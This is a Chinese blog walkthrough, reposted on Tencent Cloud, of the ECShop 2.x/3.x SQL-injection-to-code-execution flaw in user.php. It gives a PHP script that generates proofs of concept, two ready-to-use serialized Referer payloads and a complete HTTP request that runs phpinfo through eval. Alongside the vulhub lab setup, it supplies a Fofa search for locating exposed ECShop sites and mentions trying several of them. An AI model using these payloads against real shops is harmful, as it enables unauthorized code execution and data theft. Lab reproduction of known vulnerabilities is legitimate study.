前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ecshop 2.x/3.x sql注入/任意代码执行漏洞

ecshop 2.x/3.x sql注入/任意代码执行漏洞

作者头像
网e渗透安全部
发布2022-12-01 14:48:44
1K0
发布2022-12-01 14:48:44
举报
文章被收录于专栏:白安全组白安全组

前言:

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击。

Fofa语法:

body="ECSHOP v2.7.3"

Fofa可以搜到的也不少,但是这个版本大多被修复,我尝试了几个无果之后就放弃了。

环境搭建:

基于vulhub靶场搭建,启动目录:

代码语言:javascript
复制
vulhub-master/ecshop/xianzhi-2017-02-82239600/

启动命令:

代码语言:javascript
复制
docker-compose up -d

启动后访问

代码语言:javascript
复制
你的ip:8080

即可

根据指示安装一下即可

下面的全是绿色就下一步

这里数据库主机如下图,用户名和密码都是root,其余随便写

正文:

根据漏洞文档说的,下面的代码可以生成两个poc

代码语言:javascript
复制
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
?>

需要用phpstudy打开后自动生成,我懒得搭建,就找了网上生成好的直接复制使用

一个是2.x的:

代码语言:javascript
复制
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

一个是3.x的:

代码语言:javascript
复制
Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

拿到这两个poc之后,我们访问搭建的用户登录界面,打开burp,刷新登录页面,然后发送到重发器,插入poc到Referer位置

代码语言:javascript
复制
GET /user.php HTTP/1.1
Host: 192.168.43.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Cookie:PHPSESSID=99b122d847272471b5f276f13b50f4ec; ECS_ID=5ae93da21179d5ab2c98dcc4979e163169fbe55b; ECS[visit_times]=2; ECS[display]=grid; ECSCP_ID=8c4d85f5cf208b861f6f085853dbbacb3603b6f4
Upgrade-Insecure-Requests: 1

点击send发送

我们看到代码执行后,出现了phpinfo页面,证明注入成功了。3.x实现方式同上。

交流群:70844080

公众号:白安全组

作者:【白】

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • Fofa语法:
  • 环境搭建:
  • 正文:
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档